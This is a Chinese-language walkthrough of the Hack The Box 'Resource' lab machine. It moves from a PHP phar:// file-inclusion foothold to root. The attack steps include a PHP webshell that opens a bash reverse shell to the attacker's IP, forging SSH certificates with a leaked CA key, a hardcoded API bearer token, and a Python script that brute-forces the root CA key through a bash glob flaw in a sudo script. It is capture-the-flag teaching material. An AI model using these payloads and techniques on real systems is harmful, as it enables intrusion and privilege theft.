HTB靶场 Resource (Linux)[Medium]

HTB靶场 Resource (Linux)[Medium]

原创 Rsec Rsec 2024-08-15 16:39

本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

Hack The Box是一个国外的靶机在线平台(官方网址:https://www.hackthebox.eu/),实验环境将实时更新,允许您测试您的渗透测试技能。

知识点:php伪协议、SSH CA签名登录。

Kali:10.10.16.39

靶场:10.10.11.27

0000.靶场基本情况

使用namp扫描,开放端口有22、80、2222。

22和2222端口都是ssh服务。

访问10.10.11.27,自动跳转http://itrc.ssg.htb,配置host或者dns就可以正常访问,主页如下:    

注册用户test_1,登录后进入个人页面,在这个页面可以给管理员留言。

注意url格式为?page=dashboard,可能有文件包含漏洞。

创建Ticket,可以上传zip文件,经过测试只能上传zip文件,可以读取到上传后的位置。

对目录进行扫描,发现?page=admin界面可以越权访问。admin界面有ping功能,测试命令注入无果。

历史Ticket ID从1到8,但是都无法访问。

0001.php伪协议获取www-date用户权限

创建ticket,在zip文件里面包含phpinfo.php文件。

访问如下命令,可以直接执行php代码。

?page=phar://uploads/0000af8b7fb5d897811078a2ded3ace98479cea3.zip/phpinfo

在kali监听4445端口

nc -lnvp 4445

上传反弹shell文件

<?php eval(system("bash -c 'bash -i >& /dev/tcp/10.10.16.39/4445 0>&1'")); ?>

成功反弹shell,获取www-data权限。

0002.获取msainristil权限    

/home目录下发现两个用户msainristilzzinter,我们的目标是获取这两个用户或root的权限。

/var/www/itrc/db.php文件下发现mysql的用户名密码。

连接mysql需要交互式shell,当前环境没有python,无法使用python改变交互模式,所以进入mysql需要借助socat。  

连接mysql时主机要指定db。

mysql -h db -u jj -p

mysql获取的用户密码无法解密。mysql对解题无帮助,这里就略写。

ping db,发现ip地址为172.233.0.2。

当前环境无法使用ifconfig,借助工具发现当前环境ip为172.233.0.3,且在
根目录发现.dockerenv文件,确定当前环境为docker内部
。    

22端口的ssh是docker内部的服务,2222端口的ssh应该是主机的服务。

/var/www/html/uploads/c2f48xxxx.zip
文件中有个文件itrc.ssg.htb.har,在里面找到msainristil用户的密码。

unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
cat itrc.ssg.htb.har | grep msainristil

ssh
登录msainristil用户。

ssh [email protected]

0003.Docker中zzinter用户权限    

msainristil
用户目录下decommission_old_ca文件夹,里面有两个文件ca-itrcca-itrc.pub。这里需要自己创建密钥,然后使用ca签名就可以登录了。

不了解的可以参考这篇文章:

ssh使用CA签名登录

https://www.cnblogs.com/osnosn/p/16870594.html

使用下列命令生成私钥users_key和公钥users_key.pub

ssh-keygen -t rsa -C [email protected] -f users_key

使用下列命令进行签名,得到user_key-cert.pub文件。

ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub

使用下列命令将文件传回kali。

scp [email protected]:/home/msainristil/decommission_old_ca/user* .

使用ssh登录zzinter

ssh -i users_key [email protected]

0004.获取docker的root权限

使用上诉方法

靶机:

ssh-keygen -t rsa -C [email protected] -f dockerroot
ssh-keygen -s ca-itrc -n root -I ident dockerroot.pub

kali中:

scp [email protected]:/home/msainristil/decommission_old_ca/dockerroot* .
ssh -i dockerroot [email protected]

0005.获取主机的support用户权限

zzinter用户找到发现user.txt

其中还有sign_key_api.sh文件,打开后代码如下

#!/bin/bash

usage () {
    echo "Usage: $0"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then    
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

代码运行需要3个参数public_key_fileusernameprincipal

public_key_file
是上面我们自己生成的密钥对中的公钥。

username
:和principal保持一致就可以。

principal
是对私钥签名后文件中的一个字段,指示的是登录名,以前文users_key-cert.pub为例,可以看到
principal
的值是
zzinter

ssh-keygen -L -f users_key-cert.pub

代码还对principal进行了限制,只能webserver,analytics,support,security是四个字段之一。
看似限制,实则提醒。

我们在前面使用如下命令进行签名,该代码的功能一样,只是签名文件由服务器提供。    

ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub      

经过测试使用如下面命令和用户获取support的私钥文件。

靶机中:

ssh-keygen -t rsa -C [email protected] -f support
./sign_key_api.sh support.pub support support > support-cert.pub
mv supp* /tmp
chmod 777 /tmp/supp*

Kali中:

scp [email protected]:/tmp/suppo* .
chmod 700 support*
ssh -i support -p 2222 [email protected]

0006.zzinter权限

/etc/ssh/auth_principals文件夹中,可以知道zzinter用户可以使用zzinter_temp ca登录。

使用上面的方法,本来是想直接使用curl请求,但是我无论怎么尝试curl请求都是返回错误。

在靶机中:

/home/zzinter/sign_key_api.sh复制到/tmp/sign.sh

cp /home/zzinter/sign_key_api.sh /tmp/sign.sh         

修改sign.sh,在限制的字段中加入zzinter_temp

在靶机中执行如下命令

ssh-keygen -t rsa -C [email protected] -f zzintertemp    
./sign.sh zzintertemp.pub zzinter zzinter_temp > zzintertemp-cert.pub
chmod 777 /tmp/zzintertemp*

kali中:

scp [email protected]:/tmp/zzintertemp* .
chmod 700 zzintertemp*
ssh -i zzintertemp -p 2222 [email protected]

0007.root权限

通过查找,在/opt文件夹下找到sign_key.sh文件。

使用sudo -l可以发现zzinter用户不需要密码就可以执行sign_key.sh。

sign_key代码如下:

#!/bin/bash

usage () {
    echo "Usage: $0"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then    
    echo "Error: Use API for signing with this CA."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"    
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

先看代码最后一句,就是我们签名使用签名文件对公钥进行签名的操作。

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

-s:签名文件

-z:序列号    

-I:官方解释是身份标识,填用户名应该就可以

-V:时效多长

-n: 登录别名,类似zzinter_temp,这里要求root,应该使用root_user

代码中对签名文件进行了限制,不允许是/etc/ssh/ca-it文件。还是那句话,看似限制,实则提醒

当前用户对/etc/ssh/ca-it没有访问权限,
这里要使用Bash通配符滥用。

简述:文件a内容为abcd,我们使用文件b与文件a比对,如果内容一样则提示。
通配符滥用就是,当文件b的内容为a*时,也会提示。

靶机中:

/tmp文件夹新建test-ca文件,创建密钥对:

ssh-keygen -t rsa -C [email protected] -f rootuser

新建qcat.py文件,写入如下代码并执行:

import os

header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
ba64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    
key = []
line= 0

while True:
    for char in ba64chars:
        testKey = header + "\n" + "".join(key) + char + "*"
        with open('/tmp/test-ca', 'w', encoding='utf-8') as f:
            f.write(testKey)
        orderResult = os.popen("sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05").readlines()

        if "Error: Use API for signing with this CA." in str(orderResult):
            key.append(char)
            if len(key) > 0 and (len(key) - line) % 70 == 0:
                line = line + 1
                key.append("\n")
            break
    else:
        break

testKey = header + "\n" + "".join(key) + “\n” + footer
with open('/tmp/test-ca','w') as f:
    f.write(testKey)

已经获取ca-it,使用ca对密钥对进行签名,获取rootuser-cert.pub文件。

sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05

传输回本地,这里直接使用python建立http服务:

python -m http.server 8001

kali:

wget http://10.10.11.27:8001/rootuser-cert.pub
wget http://10.10.11.27:8001/rootuser
wget http://10.10.11.27:8001/rootuser.pub

ssh -i rootuser -p 2222 [email protected]

/root找到最后一个root.txt。    

感谢观看!